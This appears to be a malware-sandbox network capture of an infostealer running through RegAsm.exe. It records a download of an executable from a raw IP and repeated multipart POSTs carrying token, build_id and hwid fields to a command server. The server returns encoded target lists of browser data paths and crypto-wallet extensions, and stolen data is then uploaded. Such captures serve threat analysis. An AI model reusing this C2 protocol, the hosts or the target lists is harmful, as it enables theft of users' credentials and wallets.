Aug 28, 2024 22:56:05.282327890 CEST	1236	IN	Data Raw: fe 2e 8e 93 4c f1 18 46 83 10 0e c0 3a 85 ac c7 7f a9 27 01 e1 2a e2 5d ca 8f 86 41 c3 00 d1 4e fc 1d 7c cd 90 4b a0 47 9e 6c b0 ee db 07 6b bc b9 ec 33 86 f6 56 5e 34 9f 2c 08 3d 71 c0 68 ee e2 13 59 7e a5 26 54 0e ac a8 1e 26 2e 1d 22 b0 a2 0a Data Ascii: .LF:'*]AN\|KGlk3V^4,=qhY~&T&."p7pRmhu[_Gaal$CM\|=.9P1v3(l5G(1o Jxcu6JJlorCNwy)H+#rNI;j!!IIj
Aug 28, 2024 22:56:06.730632067 CEST	94	OUT	GET /prog/66cf75d3791d7_vrewqgq.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Aug 28, 2024 22:56:06.921144009 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:06 GMT Content-Type: application/octet-stream Content-Length: 196136 Last-Modified: Wed, 28 Aug 2024 19:09:07 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66cf75d3-2fe28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 75 cf 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d0 02 00 00 06 00 00 00 00 00 00 5e ee 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 ad 77 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 ee 02 00 53 00 00 00 00 00 03 00 42 02 00 00 00 00 00 00 00 00 00 00 00 d8 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 d0 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELuf^ @ @w`SB(& H.textd `.rsrcB@@.reloc @B@H81Dg1M<ZfHA]R(vX7U"7-O,?v1z?l>^'PL^lSGc}P8oSM[-ffcfHj%na/?rR"]ZjSkWa99\|pyms\|h4X72?4PN83"peocwtjL_KQ@;s?RKGN&cN`p2+YE4/,w."Zy=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49737	95.164.119.162	80	3180	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 22:56:08.712954044 CEST	190	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDG Host: stadiatechnologies.com Content-Length: 3225 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:56:08.713036060 CEST	3225	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------IJDHDGDAAAAKFI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49741	147.45.68.138	80	3916	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 22:56:33.313502073 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:56:34.578614950 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 28, 2024 22:56:34.582690954 CEST	436	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 147.45.68.138 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 44 31 45 33 34 31 42 31 37 41 32 39 37 34 31 36 34 32 35 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="hwid"07D1E341B17A2974164258-a33c7340-61ca------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------HCBFIJJECFIEBGDGCFIJ--
Aug 28, 2024 22:56:35.133511066 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 38 39 34 35 35 63 31 62 31 61 62 61 65 33 35 37 63 62 35 30 63 34 31 35 66 61 32 30 62 32 30 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|89455c1b1abae357cb50c415fa20b20d\|1\|1\|1\|0\|0\|50000\|10
Aug 28, 2024 22:56:35.134887934 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKEHJEGCFCAKFIIJJJ Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 34 35 35 63 31 62 31 61 62 61 65 33 35 37 63 62 35 30 63 34 31 35 66 61 32 30 62 32 30 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 48 4a 45 47 43 46 43 41 4b 46 49 49 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="token"89455c1b1abae357cb50c415fa20b20d------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------GHJKEHJEGCFCAKFIIJJJContent-Disposition: form-data; name="mode"1------GHJKEHJEGCFCAKFIIJJJ--
Aug 28, 2024 22:56:35.756969929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Aug 28, 2024 22:56:35.756999969 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Aug 28, 2024 22:56:35.929680109 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 28, 2024 22:56:35.942214012 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 34 35 35 63 31 62 31 61 62 61 65 33 35 37 63 62 35 30 63 34 31 35 66 61 32 30 62 32 30 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"89455c1b1abae357cb50c415fa20b20d------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="mode"2------EHJDGHJDBFIJKECAECAF--
Aug 28, 2024 22:56:36.527700901 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 28, 2024 22:56:36.527720928 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Aug 28, 2024 22:56:36.527734995 CEST	128	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGN
Aug 28, 2024 22:56:36.533464909 CEST	1236	IN	Data Raw: 69 61 32 46 72 59 33 42 73 61 32 70 75 62 32 78 6e 59 6d 74 6b 5a 32 70 70 61 32 70 6c 5a 47 35 74 66 44 46 38 4d 48 77 77 66 46 52 79 64 58 4e 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 56 6e 61 6d 6c 6b 61 6d 4a 77 5a 32 78 70 59 32 68 6b 59 Data Ascii: ia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW
Aug 28, 2024 22:56:36.533488035 CEST	224	IN	Data Raw: 73 62 32 6c 71 59 6e 42 76 62 47 56 70 59 57 31 68 66 44 46 38 4d 48 77 77 66 45 35 70 5a 32 68 30 62 48 6c 38 4d 58 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 Data Ascii: sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB
Aug 28, 2024 22:56:36.533559084 CEST	1140	IN	Data Raw: 38 4d 48 78 4d 5a 57 46 77 49 45 4e 76 63 32 31 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 59 32 5a 6a 5a 6d 78 73 5a 6d 35 6b 62 47 39 74 5a 47 68 69 5a 57 68 71 61 6d 4e 76 61 57 31 69 5a 32 39 6d 5a 47 35 6a 5a 33 77 78 66 44 42 38 4d Data Ascii: 8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fDF8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fDF8a3BwZmRpaXBwaGZjY2VtY2lnbmhpZnBqa2FwZmJpaGR8MXwwfD
Aug 28, 2024 22:56:36.618630886 CEST	648	IN	Data Raw: 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 57 4e 72 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6d 62 47 74 74 5a 6d 68 6c 59 6d 56 6b 59 Data Ascii: ibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8MXxwZW5qbGRkamtqZ3Bua2xsYm
Aug 28, 2024 22:56:36.620424032 CEST	512	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFID Host: 147.45.68.138 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 34 35 35 63 31 62 31 61 62 61 65 33 35 37 63 62 35 30 63 34 31 35 66 61 32 30 62 32 30 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"89455c1b1abae357cb50c415fa20b20d------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="mode"21------EHDBGDHDAECBGDHJKFID--
Aug 28, 2024 22:56:37.166440964 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Aug 28, 2024 22:56:37.236884117 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 147.45.68.138 Content-Length: 8081 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:56:37.236957073 CEST	8081	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 34 35 35 63 Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"89455c1b1abae357cb50c415fa20b20d------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------AKFCFBAAEHCFHJ
